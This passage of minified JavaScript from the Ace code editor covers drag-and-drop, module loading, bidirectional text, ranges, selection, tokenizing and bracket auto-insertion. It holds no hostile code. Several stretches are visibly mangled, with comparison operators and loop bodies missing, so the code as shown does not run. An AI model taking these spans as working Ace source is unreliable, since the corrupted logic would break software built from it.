o(){clearInterval(C);r.session.removeMarker(J);J=null;r.$blockScrolling+=1;r.selection.fromOrientedRange(F);r.$blockScrolling-=1;if(r.isFocused()&&!K){r.renderer.$cursorLayer.setBlinking(!r.getReadOnly())}F=null;p=null;A=0;G=null;u=null;a.removeListener(document,"mousemove",E)}var l=null;function E(){if(l==null){l=setTimeout(function(){if(l!=null&&J){o()}},20)}}function n(y){var x=y.types;return !x||Array.prototype.some.call(x,function(N){return N=="text/plain"||N=="Text"})}function H(Q){var P=["copy","copymove","all","uninitialized"];var x=["move","copymove","linkmove","all","uninitialized"];var y=d.isMac?Q.altKey:Q.ctrlKey;var O="uninitialized";try{O=Q.dataTransfer.effectAllowed.toLowerCase()}catch(Q){}var N="none";if(y&&P.indexOf(O)>=0){N="copy"}else{if(x.indexOf(O)>=0){N="move"}else{if(P.indexOf(O)>=0){N="copy"}}}return N}}(function(){this.dragWait=function(){var l=Date.now()-this.mousedownEvent.time;if(l>this.editor.getDragDelay()){this.startDrag()}};this.dragWaitEnd=function(){var l=this.editor.container;l.draggable=false;this.startSelect(this.mousedownEvent.getDocumentPosition());this.selectEnd()};this.dragReadyEnd=function(l){this.editor.renderer.$cursorLayer.setBlinking(!this.editor.getReadOnly());this.editor.unsetStyle("ace_dragging");this.editor.renderer.setCursorStyle("");this.dragWaitEnd()};this.startDrag=function(){this.cancelDrag=false;var m=this.editor;var n=m.container;n.draggable=true;m.renderer.$cursorLayer.setBlinking(false);m.setStyle("ace_dragging");var l=d.isWin?"default":"move";m.renderer.setCursorStyle(l);this.setState("dragReady")};this.onMouseDrag=function(m){var l=this.editor.container;if(d.isIE&&this.state=="dragReady"){var n=b(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);if(n>3){l.dragDrop()}}if(this.state==="dragWait"){var n=b(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);if(n>0){l.draggable=false;this.startSelect(this.mousedownEvent.getDocumentPosition())}}};this.onMouseDown=function(r){if(!this.$dragEnabled){return}this.mousedownEvent=r;var o=this.editor;var n=r.inSelection();var m=r.getButton();var l=r.domEvent.detail||1;if(l===1&&m===0&&n){if(r.editor.inMultiSelectMode&&(r.getAccelKey()||r.getShiftKey())){return}this.mousedownEvent.time=Date.now();var q=r.domEvent.target||r.domEvent.srcElement;if("unselectable" in q){q.unselectable="on"}if(o.getDragDelay()){if(d.isWebKit){this.cancelDrag=true;var p=o.container;p.draggable=true}this.setState("dragWait")}else{this.startDrag()}this.captureMouse(r,this.onMouseDrag.bind(this));r.defaultPrevented=true}}}).call(i.prototype);function b(m,l,o,n){return Math.sqrt(Math.pow(o-m,2)+Math.pow(n-l,2))}g.DragdropHandler=i});ace.define("ace/lib/net",["require","exports","module","ace/lib/dom"],function(b,a,c){var d=b("./dom");a.get=function(e,g){var f=new XMLHttpRequest();f.open("GET",e,true);f.onreadystatechange=function(){if(f.readyState===4){g(f.responseText)}};f.send(null)};a.loadScript=function(g,h){var e=d.getDocumentHead();var f=document.createElement("script");f.src=g;e.appendChild(f);f.onload=f.onreadystatechange=function(j,i){if(i||!f.readyState||f.readyState=="loaded"||f.readyState=="complete"){f=f.onload=f.onreadystatechange=null;if(!i){h()}}}};a.qualifyURL=function(f){var e=document.createElement("a");e.href=f;return e.href}});ace.define("ace/lib/event_emitter",["require","exports","module"],function(d,b,e){var f={};var a=function(){this.propagationStopped=true};var c=function(){this.defaultPrevented=true};f._emit=f._dispatchEvent=function(g,l){this._eventRegistry||(this._eventRegistry={});this._defaultHandlers||(this._defaultHandlers={});var k=this._eventRegistry[g]||[];var h=this._defaultHandlers[g];if(!k.length&&!h){return}if(typeof l!="object"||!l){l={}}if(!l.type){l.type=g}if(!l.stopPropagation){l.stopPropagation=a}if(!l.preventDefault){l.preventDefault=c}k=k.slice();for(var j=0;j1){p=r[r.length-2]}var q=k[m+"Path"];if(q==null){q=k.basePath}else{if(l=="/"){m=l=""}}if(q&&q.slice(-1)!="/"){q+="/"}return q+m+l+p+this.get("suffix")};g.setModuleUrl=function(l,m){return k.$moduleUrls[l]=m};g.$loading={};g.loadModule=function(l,o){var m,n;if(Array.isArray(l)){n=l[0];l=l[1]}try{m=e(l)}catch(p){}if(m&&!g.$loading[l]){return o&&o(m)}if(!g.$loading[l]){g.$loading[l]=[]}g.$loading[l].push(o);if(g.$loading[l].length>1){return}var q=function(){e([l],function(r){g._emit("load.module",{name:l,module:r});var s=g.$loading[l];g.$loading[l]=null;s.forEach(function(t){t&&t(r)})})};if(!g.get("packaged")){return q()}i.loadScript(g.moduleUrl(l,n),q)};j(true);function j(p){if(!a||!a.document){return}k.packaged=p||e.packaged||d.packaged||(a.define&&define.packaged);var o={};var r="";var t=(document.currentScript||document._currentScript);var y=t&&t.ownerDocument||document;var u=y.getElementsByTagName("script");for(var x=0;x0){if(S==16){for(Y=af;Y-1){for(Y=af;Y=0;V--){if(B[V]==F){ag[V]=O}else{break}}}}}}function f(L,Z,Y){if(o=L){S=B+1;while(S=L){S++}for(X=B,R=S-1;X=X.length||((ab=R[L-1])!=D&&ab!=P)||((W=X[L+1])!=D&&W!=P)){return t}if(w){W=P}return W==ab?W:t;case y:ab=L>0?R[L-1]:m;if(ab==D&&(L+1)0&&R[L-1]==D){return D}if(w){return t}S=L+1;Y=X.length;while(S=1425&&Z<=2303)||Z==64286;ab=X[S];if(B&&(ab==h||ab==T)){return h}}if(L<1||(ab=X[L-1])==m){return t}return R[L-1];case m:w=false;j=true;return O;case g:b=true;return t;case E:case Q:case z:case J:case H:w=false;case C:return t}}function u(R){var B=R.charCodeAt(0),L=B>>8;if(L==0){return((B>191)?i:U[B])}else{if(L==5){return(/[\u0591-\u05f4]/.test(R)?h:i)}else{if(L==6){if(/[\u0610-\u061a\u064b-\u065f\u06d6-\u06e4\u06e7-\u06ed]/.test(R)){return c}else{if(/[\u0660-\u0669\u066b-\u066c]/.test(R)){return P}else{if(B==1642){return x}else{if(/[\u06f0-\u06f9]/.test(R)){return D}else{return T}}}}}else{if(L==32&&B<=8287){return n[B&255]}else{if(L==254){return(B>=65136?T:t)}}}}}return t}function A(B){return(B>="\u064b"&&B<="\u0655")}I.L=i;I.R=h;I.EN=D;I.ON_R=3;I.AN=4;I.R_H=5;I.B=6;I.DOT="\xB7";I.doBidiReorder=function(Y,V,L){if(Y.length<2){return{}}var S=Y.split(""),B=new Array(S.length),X=new Array(S.length),W=[];O=L?l:N;r(S,W,S.length,V);for(var R=0;RT&&V[R]0&&S[R-1]==="\u0644")&&/\u0622|\u0623|\u0625|\u0627/.test(S[R])){W[R-1]=W[R]=I.R_H;R++}}}}if(S[S.length-1]===I.DOT){W[S.length-1]=I.B}for(var R=0;R=0){i=this.session.$docRowCache[j]}}return i};this.getSplitIndex=function(){var j=0;var l=this.session.$screenRowCache;if(l.length){var i,k=this.session.$getRowCacheIndex(l,this.currentRow);while(this.currentRow-j>0){i=this.session.$getRowCacheIndex(l,this.currentRow-j-1);if(i!==k){break}k=i;j++}}return j};this.updateRowLine=function(j,k){if(j===undefined){j=this.getDocumentRow()}this.wrapIndent=0;this.isLastRow=(j===this.session.getLength()-1);this.line=this.session.getLine(j);if(this.session.$useWrapMode){var n=this.session.$wrapData[j];if(n){if(k===undefined){k=this.getSplitIndex()}if(k>0&&n.length){this.wrapIndent=n.indent;this.line=(k0?j-1:0,this.bidiMap),m=this.bidiMap.bidiLevels,n=0;if(j===0&&m[l]%2!==0){l++}for(var k=0;k=n)&&(pl+i/2){l+=i;if(j===k.length-1){i=0;break}i=this.charWidths[k[++j]]}if(j>0&&(k[j-1]%2!==0)&&(k[j]%2===0)){if(n0&&(k[j-1]%2===0)&&(k[j]%2!==0)){m=1+((n>l)?this.bidiMap.logicalFromVisual[j]:this.bidiMap.logicalFromVisual[j-1])}else{if((this.isRtlDir&&j===k.length-1&&i===0&&(k[j-1]%2===0))||(!this.isRtlDir&&j===0&&(k[j]%2!==0))){m=1+this.bidiMap.logicalFromVisual[j]}else{if(j>0&&(k[j-1]%2!==0)&&i!==0){j--}m=this.bidiMap.logicalFromVisual[j]}}}return(m+this.wrapIndent)}}).call(b.prototype);c.BidiHandler=b});ace.define("ace/range",["require","exports","module"],function(b,a,c){var e=function(g,f){return g.row-f.row||g.column-f.column};var d=function(g,h,f,i){this.start={row:g,column:h};this.end={row:f,column:i}};(function(){this.isEqual=function(f){return this.start.row===f.start.row&&this.end.row===f.end.row&&this.start.column===f.start.column&&this.end.column===f.end.column};this.toString=function(){return("Range: ["+this.start.row+"/"+this.start.column+"] -> ["+this.end.row+"/"+this.end.column+"]")};this.contains=function(g,f){return this.compare(g,f)==0};this.compareRange=function(g){var h,f=g.end,i=g.start;h=this.compare(f.row,f.column);if(h==1){h=this.compare(i.row,i.column);if(h==1){return 2}else{if(h==0){return 1}else{return 0}}}else{if(h==-1){return -2}else{h=this.compare(i.row,i.column);if(h==-1){return -1}else{if(h==1){return 42}else{return 0}}}}};this.comparePoint=function(f){return this.compare(f.row,f.column)};this.containsRange=function(f){return this.comparePoint(f.start)==0&&this.comparePoint(f.end)==0};this.intersects=function(f){var g=this.compareRange(f);return(g==-1||g==0||g==1)};this.isEnd=function(g,f){return this.end.row==g&&this.end.column==f};this.isStart=function(g,f){return this.start.row==g&&this.start.column==f};this.setStart=function(g,f){if(typeof g=="object"){this.start.column=g.column;this.start.row=g.row}else{this.start.row=g;this.start.column=f}};this.setEnd=function(g,f){if(typeof g=="object"){this.end.column=g.column;this.end.row=g.row}else{this.end.row=g;this.end.column=f}};this.inside=function(g,f){if(this.compare(g,f)==0){if(this.isEnd(g,f)||this.isStart(g,f)){return false}else{return true}}return false};this.insideStart=function(g,f){if(this.compare(g,f)==0){if(this.isEnd(g,f)){return false}else{return true}}return false};this.insideEnd=function(g,f){if(this.compare(g,f)==0){if(this.isStart(g,f)){return false}else{return true}}return false};this.compare=function(g,f){if(!this.isMultiLine()){if(g===this.start.row){return fthis.end.column?1:0)}}if(gthis.end.row){return 1}if(this.start.row===g){return f>=this.start.column?0:-1}if(this.end.row===g){return f<=this.end.column?0:1}return 0};this.compareStart=function(g,f){if(this.start.row==g&&this.start.column==f){return -1}else{return this.compare(g,f)}};this.compareEnd=function(g,f){if(this.end.row==g&&this.end.column==f){return 1}else{return this.compare(g,f)}};this.compareInside=function(g,f){if(this.end.row==g&&this.end.column==f){return 1}else{if(this.start.row==g&&this.start.column==f){return -1}else{return this.compare(g,f)}}};this.clipRows=function(h,g){if(this.end.row>g){var f={row:g+1,column:0}}else{if(this.end.rowg){var i={row:g+1,column:0}}else{if(this.start.rowi.row||(j.row==i.row&&j.column>i.column))};this.getRange=function(){var j=this.anchor;var i=this.lead;if(this.isEmpty()){return g.fromPoints(i,i)}if(this.isBackwards()){return g.fromPoints(i,j)}else{return g.fromPoints(j,i)}};this.clearSelection=function(){if(!this.$isEmpty){this.$isEmpty=true;this._emit("changeSelection")}};this.selectAll=function(){var i=this.doc.getLength()-1;this.setSelectionAnchor(0,0);this.moveCursorTo(i,this.doc.getLine(i).length)};this.setRange=this.setSelectionRange=function(i,j){if(j){this.setSelectionAnchor(i.end.row,i.end.column);this.selectTo(i.start.row,i.start.column)}else{this.setSelectionAnchor(i.start.row,i.start.column);this.selectTo(i.end.row,i.end.column)}if(this.getRange().isEmpty()){this.$isEmpty=true}this.$desiredColumn=null};this.$moveSelection=function(i){var j=this.lead;if(this.$isEmpty){this.setSelectionAnchor(j.row,j.column)}i.call(this)};this.selectTo=function(j,i){this.$moveSelection(function(){this.moveCursorTo(j,i)})};this.selectToPosition=function(i){this.$moveSelection(function(){this.moveCursorToPosition(i)})};this.moveTo=function(j,i){this.clearSelection();this.moveCursorTo(j,i)};this.moveToPosition=function(i){this.clearSelection();this.moveCursorToPosition(i)};this.selectUp=function(){this.$moveSelection(this.moveCursorUp)};this.selectDown=function(){this.$moveSelection(this.moveCursorDown)};this.selectRight=function(){this.$moveSelection(this.moveCursorRight)};this.selectLeft=function(){this.$moveSelection(this.moveCursorLeft)};this.selectLineStart=function(){this.$moveSelection(this.moveCursorLineStart)};this.selectLineEnd=function(){this.$moveSelection(this.moveCursorLineEnd)};this.selectFileEnd=function(){this.$moveSelection(this.moveCursorFileEnd)};this.selectFileStart=function(){this.$moveSelection(this.moveCursorFileStart)};this.selectWordRight=function(){this.$moveSelection(this.moveCursorWordRight)};this.selectWordLeft=function(){this.$moveSelection(this.moveCursorWordLeft)};this.getWordRange=function(k,i){if(typeof i=="undefined"){var j=k||this.lead;k=j.row;i=j.column}return this.session.getWordRange(k,i)};this.selectWord=function(){this.setSelectionRange(this.getWordRange())};this.selectAWord=function(){var j=this.getCursor();var i=this.session.getAWordRange(j.row,j.column);this.setSelectionRange(i)};this.getLineRange=function(m,k){var i=typeof m=="number"?m:this.lead.row;var j;var l=this.session.getFoldLine(i);if(l){i=l.start.row;j=l.end.row}else{j=i}if(k===true){return new g(i,0,j,this.session.getLine(j).length)}else{return new g(i,0,j+1,0)}};this.selectLine=function(){this.setSelectionRange(this.getLineRange())};this.moveCursorUp=function(){this.moveCursorBy(-1,0)};this.moveCursorDown=function(){this.moveCursorBy(1,0)};this.wouldMoveIntoSoftTab=function(l,k,j){var m=l.column;var i=l.column+k;if(j<0){m=l.column-k;i=l.column}return this.session.isTabStop(l)&&this.doc.getLine(l.row).slice(m,i).split(" ").length-1==k};this.moveCursorLeft=function(){var k=this.lead.getPosition(),i;if(i=this.session.getFoldAt(k.row,k.column,-1)){this.moveCursorTo(i.start.row,i.start.column)}else{if(k.column===0){if(k.row>0){this.moveCursorTo(k.row-1,this.doc.getLine(k.row-1).length)}}else{var j=this.session.getTabSize();if(this.wouldMoveIntoSoftTab(k,j,-1)&&!this.session.getNavigateWithinSoftTabs()){this.moveCursorBy(0,-j)}else{this.moveCursorBy(0,-1)}}}};this.moveCursorRight=function(){var k=this.lead.getPosition(),i;if(i=this.session.getFoldAt(k.row,k.column,1)){this.moveCursorTo(i.end.row,i.end.column)}else{if(this.lead.column==this.doc.getLine(this.lead.row).length){if(this.lead.row0){l.column=k}}}this.moveCursorTo(l.row,l.column)};this.moveCursorFileEnd=function(){var j=this.doc.getLength()-1;var i=this.doc.getLine(j).length;this.moveCursorTo(j,i)};this.moveCursorFileStart=function(){this.moveCursorTo(0,0)};this.moveCursorLongWordRight=function(){var n=this.lead.row;var l=this.lead.column;var i=this.doc.getLine(n);var m=i.substring(l);var k;this.session.nonTokenRe.lastIndex=0;this.session.tokenRe.lastIndex=0;var j=this.session.getFoldAt(n,l,1);if(j){this.moveCursorTo(j.end.row,j.end.column);return}if(k=this.session.nonTokenRe.exec(m)){l+=this.session.nonTokenRe.lastIndex;this.session.nonTokenRe.lastIndex=0;m=i.substring(l)}if(l>=i.length){this.moveCursorTo(n,i.length);this.moveCursorRight();if(n0){this.moveCursorWordLeft()}return}if(i=this.session.tokenRe.exec(l)){k-=this.session.tokenRe.lastIndex;this.session.tokenRe.lastIndex=0}this.moveCursorTo(n,k)};this.$shortWordEndIndex=function(n){var j,i=0,m;var l=/\s/;var k=this.session.tokenRe;k.lastIndex=0;if(j=this.session.tokenRe.exec(n)){i=this.session.tokenRe.lastIndex}else{while((m=n[i])&&l.test(m)){i++}if(i<1){k.lastIndex=0;while((m=n[i])&&!k.test(m)){k.lastIndex=0;i++;if(l.test(m)){if(i>2){i--;break}else{while((m=n[i])&&l.test(m)){i++}if(i>2){break}}}}}}k.lastIndex=0;return i};this.moveCursorShortWordRight=function(){var p=this.lead.row;var n=this.lead.column;var j=this.doc.getLine(p);var o=j.substring(n);var m=this.session.getFoldAt(p,n,1);if(m){return this.moveCursorTo(m.end.row,m.end.column)}if(n==j.length){var i=this.doc.getLength();do{p++;o=this.doc.getLine(p)}while(p0&&/^\s*$/.test(i));l=i.length;if(!/\s+$/.test(i)){i=""}}var m=h.stringReverse(i);var j=this.$shortWordEndIndex(m);return this.moveCursorTo(n,l-j)};this.moveCursorWordRight=function(){if(this.session.$selectLongWords){this.moveCursorLongWordRight()}else{this.moveCursorShortWordRight()}};this.moveCursorWordLeft=function(){if(this.session.$selectLongWords){this.moveCursorLongWordLeft()}else{this.moveCursorShortWordLeft()}};this.moveCursorBy=function(m,l){var k=this.session.documentToScreenPosition(this.lead.row,this.lead.column);var i;if(l===0){if(m!==0){if(this.session.$bidiHandler.isBidiRow(k.row,this.lead.row)){i=this.session.$bidiHandler.getPosLeft(k.column);k.column=Math.round(i/this.session.$bidiHandler.charWidths[0])}else{i=k.column*this.session.$bidiHandler.charWidths[0]}}if(this.$desiredColumn){k.column=this.$desiredColumn}else{this.$desiredColumn=k.column}}var j=this.session.screenToDocumentPosition(k.row+m,k.column,i);if(m!==0&&l===0&&j.row===this.lead.row&&j.column===this.lead.column){if(this.session.lineWidgets&&this.session.lineWidgets[j.row]){if(j.row>0||m>0){j.row++}}}this.moveCursorTo(j.row,j.column+l,l===0)};this.moveCursorToPosition=function(i){this.moveCursorTo(i.row,i.column)};this.moveCursorTo=function(m,l,j){var k=this.session.getFoldAt(m,l,1);if(k){m=k.start.row;l=k.start.column}this.$keepDesiredColumnOnChange=true;var i=this.session.getLine(m);if(/[\uDC00-\uDFFF]/.test(i.charAt(l))&&i.charAt(l-1)){if(this.lead.row==m&&this.lead.column==l+1){l=l-1}else{l=l+1}}this.lead.setPosition(m,l);this.$keepDesiredColumnOnChange=false;if(!j){this.$desiredColumn=null}};this.moveCursorToScreen=function(k,j,i){var l=this.session.screenToDocumentPosition(k,j);this.moveCursorTo(l.row,l.column,i)};this.detach=function(){this.lead.detach();this.anchor.detach();this.session=this.doc=null};this.fromOrientedRange=function(i){this.setSelectionRange(i,i.cursor==i.start);this.$desiredColumn=i.desiredColumn||this.$desiredColumn};this.toOrientedRange=function(i){var j=this.getRange();if(i){i.start.column=j.start.column;i.start.row=j.start.row;i.end.column=j.end.column;i.end.row=j.end.row}else{i=j}i.cursor=this.isBackwards()?i.start:i.end;i.desiredColumn=this.$desiredColumn;return i};this.getRangeOfMovements=function(j){var l=this.getCursor();try{j(this);var i=this.getCursor();return g.fromPoints(l,i)}catch(k){return g.fromPoints(l,l)}finally{this.moveCursorToPosition(l)}};this.toJSON=function(){if(this.rangeCount){var i=this.ranges.map(function(k){var j=k.clone();j.isBackwards=k.cursor==k.start;return j})}else{var i=this.getRange();i.isBackwards=this.isBackwards()}return i};this.fromJSON=function(l){if(l.start==undefined){if(this.rangeList){this.toSingleRange(l[0]);for(var j=l.length;j--;){var k=g.fromPoints(l[j].start,l[j].end);if(l[j].isBackwards){k.cursor=k.start}this.addRange(k,true)}return}else{l=l[0]}}if(this.rangeList){this.toSingleRange(l)}this.setSelectionRange(l,l.isBackwards)};this.isEqual=function(k){if((k.length||this.rangeCount)&&k.length!=this.rangeCount){return false}if(!k.length||!this.ranges){return this.getRange().isEqual(k)}for(var j=this.ranges.length;j--;){if(!this.ranges[j].isEqual(k[j])){return false}}return true}}).call(d.prototype);a.Selection=d});ace.define("ace/tokenizer",["require","exports","module","ace/config"],function(d,a,e){var c=d("./config");var f=500000;var b=function(q){this.states=q;this.regExps={};this.matchMappings={};for(var p in this.states){var h=this.states[p];var k=[];var r=0;var g=this.matchMappings[p]={defaultToken:"text"};var l="g";var n=[];for(var j=0;j1){m.onMatch=this.$applyToken}else{m.onMatch=m.token}}}if(s>1){if(/\\\d/.test(m.regex)){o=m.regex.replace(/\\([0-9]+)/g,function(i,t){return"\\"+(parseInt(t,10)+r+1)})}else{s=1;o=this.removeCapturingGroups(m.regex)}if(!m.splitRegex&&typeof m.token!="string"){n.push(m)}}g[r]=j;r+=s;k.push(o);if(!m.onMatch){m.onMatch=null}}if(!k.length){g[0]=0;k.push("$")}n.forEach(function(i){i.splitRegex=this.createSplitterRegexp(i.regex,l)},this);this.regExps[p]=new RegExp("("+k.join(")|(")+")|($)",l)}};(function(){this.$setMaxTokenCount=function(g){f=g|0};this.$applyToken=function(n){var h=this.splitRegex.exec(n).slice(1);var k=this.token.apply(this,h);if(typeof k==="string"){return[{type:k,value:n}]}var m=[];for(var j=0,g=k.length;jw){var x=q.substring(w,m-u.length);if(n.type==h){n.value+=x}else{if(n.type){r.push(n)}n={type:h,value:x}}}for(var v=0;vf){if(s>2*q.length){this.reportError("infinite loop with in ace tokenizer",{startState:g,line:q})}while(w1){if(k[0]!==y){k.unshift("#tmp",y)}}return{tokens:r,state:k.length?k:y}};this.reportError=c.reportError}).call(b.prototype);a.Tokenizer=b});ace.define("ace/mode/text_highlight_rules",["require","exports","module","ace/lib/lang"],function(c,b,d){var e=c("../lib/lang");var a=function(){this.$rules={"start":[{token:"empty_line",regex:"^$"},{defaultToken:"text"}]}};(function(){this.addRules=function(n,l){if(!l){for(var j in n){this.$rules[j]=n[j]}return}for(var j in n){var k=n[j];for(var h=0;h=this.$rowTokens.length){this.$row+=1;if(!f){f=this.$session.getLength()}if(this.$row>=f){this.$row=f-1;return null}this.$rowTokens=this.$session.getTokens(this.$row);this.$tokenIndex=0}return this.$rowTokens[this.$tokenIndex]};this.getCurrentToken=function(){return this.$rowTokens[this.$tokenIndex]};this.getCurrentTokenRow=function(){return this.$row};this.getCurrentTokenColumn=function(){var g=this.$rowTokens;var f=this.$tokenIndex;var h=g[f].start;if(h!==undefined){return h}h=0;while(f>0){f-=1;h+=g[f].value.length}return h};this.getCurrentTokenPosition=function(){return{row:this.$row,column:this.getCurrentTokenColumn()}};this.getCurrentTokenRange=function(){var f=this.$rowTokens[this.$tokenIndex];var g=this.getCurrentTokenColumn();return new e(this.$row,g,this.$row,g+f.value.length)}}).call(d.prototype);a.TokenIterator=d});ace.define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"],function(f,i,d){var l=f("../../lib/oop");var h=f("../behaviour").Behaviour;var n=f("../../token_iterator").TokenIterator;var c=f("../../lib/lang");var j=["text","paren.rparen","punctuation.operator"];var e=["text","paren.rparen","punctuation.operator","comment"];var a;var g={};var m={'"':'"',"'":"'"};var b=function(p){var q=-1;if(p.multiSelect){q=p.selection.index;if(g.rangeCount!=p.multiSelect.rangeCount){g={rangeCount:p.multiSelect.rangeCount}}}if(g[q]){return a=g[q]}a=g[q]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:"",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:"",maybeInsertedLineEnd:""}};var k=function(s,r,p,q){var t=s.end.row-s.start.row;return{text:p+r+q,selection:[0,s.start.column+1,t,s.end.column+(t?0:1)]}};var o=function(p){this.add("braces","insertion",function(r,u,x,A,C){var D=x.getCursorPosition();var E=A.doc.getLine(D.row);if(C=="{"){b(x);var B=x.getSelectionRange();var v=A.doc.getTextRange(B);if(v!==""&&v!=="{"&&x.getWrapBehavioursEnabled()){return k(B,v,"{","}")}else{if(o.isSaneInsertion(x,A)){if(/[\]\}\)]/.test(E[D.column])||x.inMultiSelectMode||p&&p.braces){o.recordAutoInsert(x,A,"}");return{text:"{}",selection:[1,1]}}else{o.recordMaybeInsert(x,A,"{");return{text:"{",selection:[1,1]}}}}}else{if(C=="}"){b(x);var y=E.substring(D.column,D.column+1);if(y=="}"){var q=A.$findOpeningBracket("}",{column:D.column+1,row:D.row});if(q!==null&&o.isAutoInsertedClosing(D,E,C)){o.popAutoInsertedClosing();return{text:"",selection:[1,1]}}}}else{if(C=="\n"||C=="\r\n"){b(x);var t="";if(o.isMaybeInsertedClosing(D,E)){t=c.stringRepeat("}",a.maybeInsertedBrackets);o.clearMaybeInsertedClosing()}var y=E.substring(D.column,D.column+1);if(y==="}"){var z=A.findMatchingBracket({row:D.row,column:D.column+1},"}");if(!z){return null}var w=this.$getIndent(A.getLine(z.row))}else{if(t){var w=this.$getIndent(E)}else{o.clearMaybeInsertedClosing();return}}var s=w+A.getTabString();return{text:"\n"+s+"\n"+w+t,selection:[1,s.length,1,s.length]}}else{o.clearMaybeInsertedClosing()}}}});this.add("braces","deletion",function(v,u,t,w,r){var s=w.doc.getTextRange(r);if(!r.isMultiLine()&&s=="{"){b(t);var q=w.doc.getLine(r.start.row);var x=q.substring(r.end.column,r.end.column+1);if(x=="}"){r.end.column++;return r}else{a.maybeInsertedBrackets--}}});this.add("parens","insertion",function(r,s,u,w,y){if(y=="("){b(u);var x=u.getSelectionRange();var t=w.doc.getTextRange(x);if(t!==""&&u.getWrapBehavioursEnabled()){return k(x,t,"(",")")}else{if(o.isSaneInsertion(u,w)){o.recordAutoInsert(u,w,")");return{text:"()",selection:[1,1]}}}}else{if(y==")"){b(u);var z=u.getCursorPosition();var A=w.doc.getLine(z.row);var v=A.substring(z.column,z.column+1);if(v==")"){var q=w.$findOpeningBracket(")",{column:z.column+1,row:z.row});if(q!==null&&o.isAutoInsertedClosing(z,A,y)){o.popAutoInsertedClosing();return{text:"",selection:[1,1]}}}}}});this.add("parens","deletion",function(v,u,t,w,r){var s=w.doc.getTextRange(r);if(!r.isMultiLine()&&s=="("){b(t);var q=w.doc.getLine(r.start.row);var x=q.substring(r.start.column+1,r.start.column+2);if(x==")"){r.end.column++;return r}}});this.add("brackets","insertion",function(r,s,u,w,y){if(y=="["){b(u);var x=u.getSelectionRange();var t=w.doc.getTextRange(x);if(t!==""&&u.getWrapBehavioursEnabled()){return k(x,t,"[","]")}else{if(o.isSaneInsertion(u,w)){o.recordAutoInsert(u,w,"]");return{text:"[]",selection:[1,1]}}}}else{if(y=="]"){b(u);var z=u.getCursorPosition();var A=w.doc.getLine(z.row);var v=A.substring(z.column,z.column+1);if(v=="]"){var q=w.$findOpeningBracket("]",{column:z.column+1,row:z.row});if(q!==null&&o.isAutoInsertedClosing(z,A,y)){o.popAutoInsertedClosing();return{text:"",selection:[1,1]}}}}}});this.add("brackets","deletion",function(v,u,t,w,r){var s=w.doc.getTextRange(r);if(!r.isMultiLine()&&s=="["){b(t);var q=w.doc.getLine(r.start.row);var x=q.substring(r.start.column+1,r.start.column+2);if(x=="]"){r.end.column++;return r}}});this.add("string_dquotes","insertion",function(v,G,t,q,A){var F=q.$mode.$quotes||m;if(A.length==1&&F[A]){if(this.lineCommentStart&&this.lineCommentStart.indexOf(A)!=-1){return}b(t);var J=A;var K=t.getSelectionRange();var B=q.doc.getTextRange(K);if(B!==""&&(B.length!=1||!F[B])&&t.getWrapBehavioursEnabled()){return k(K,B,J,J)}else{if(!B){var u=t.getCursorPosition();var x=q.doc.getLine(u.row);var r=x.substring(u.column-1,u.column);var z=x.substring(u.column,u.column+1);var w=q.getTokenAt(u.row,u.column);var E=q.getTokenAt(u.row,u.column+1);if(r=="\\"&&w&&/escape/.test(w.type)){return null}var I=w&&/string|escape/.test(w.type);var D=!E||/string|escape/.test(E.type);var C;if(z==J){C=I!==D;if(C&&/string\.end/.test(E.type)){C=false}}else{if(I&&!D){return null}if(I&&D){return null}var s=q.$mode.tokenRe;s.lastIndex=0;var y=s.test(r);s.lastIndex=0;var H=s.test(r);if(y||H){return null}if(z&&!/[\s;,.})\]\\]/.test(z)){return null}C=true}return{text:C?J+J:"",selection:[1,1]}}}}});this.add("string_dquotes","deletion",function(v,u,t,w,r){var s=w.doc.getTextRange(r);if(!r.isMultiLine()&&(s=='"'||s=="'")){b(t);var q=w.doc.getLine(r.start.row);var x=q.substring(r.start.column+1,r.start.column+2);if(x==s){r.end.column++;return r}}})};o.isSaneInsertion=function(r,s){var t=r.getCursorPosition();var q=new n(s,t.row,t.column);if(!this.$matchTokenType(q.getCurrentToken()||"text",j)){var p=new n(s,t.row,t.column+1);if(!this.$matchTokenType(p.getCurrentToken()||"text",j)){return false}}q.stepForward();return q.getCurrentTokenRow()!==t.row||this.$matchTokenType(q.getCurrentToken()||"text",e)};o.$matchTokenType=function(q,p){return p.indexOf(q.type||q)>-1};o.recordAutoInsert=function(q,r,t){var s=q.getCursorPosition();var p=r.doc.getLine(s.row);if(!this.isAutoInsertedClosing(s,p,a.autoInsertedLineEnd[0])){a.autoInsertedBrackets=0}a.autoInsertedRow=s.row;a.autoInsertedLineEnd=t+p.substr(s.column);a.autoInsertedBrackets++};o.recordMaybeInsert=function(q,r,t){var s=q.getCursorPosition();var p=r.doc.getLine(s.row);if(!this.isMaybeInsertedClosing(s,p)){a.maybeInsertedBrackets=0}a.maybeInsertedRow=s.row;a.maybeInsertedLineStart=p.substr(0,s.column)+t;a.maybeInsertedLineEnd=p.substr(s.column);a.maybeInsertedBrackets++};o.isAutoInsertedClosing=function(r,p,q){return a.autoInsertedBrackets>0&&r.row===a.autoInsertedRow&&q===a.autoInsertedLineEnd[0]&&p.substr(r.column)===a.autoInsertedLineEnd};o.isMaybeInsertedClosing=function(q,p){return a.maybeInsertedBrackets>0&&q.row===a.maybeInsertedRow&&p.substr(q.column)===a.maybeInsertedLineEnd&&p.substr(0,q.column)==a.maybeInsertedLineStart};o.popAutoInsertedClosing=function(){a.autoInsertedLineEnd=a.autoInsertedLineEnd.substr(1);a.autoInsertedBrackets--};o.clearMaybeInsertedClosing=function(){if(a){a.maybeInsertedBrackets=0;a.maybeInsertedRow=-1}};l.inherits(o,h);i.CstyleBehaviour=o});ace.define("ace/unicode",["require","exports","module"],function(c,b,d){b.packages={};a({L:"0041-005A0061-007A00AA00B500BA00C0-00D600D8-00F600F8-02C102C6-02D102E0-02E402EC02EE0370-037403760377037A-037D03860388-038A038C038E-03A103A3-03F503F7-0481048A-05250531-055605590561-058705D0-05EA05F0-05F20621-064A066E066F0671-06D306D506E506E606EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA07F407F507FA0800-0815081A082408280904-0939093D09500958-0961097109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-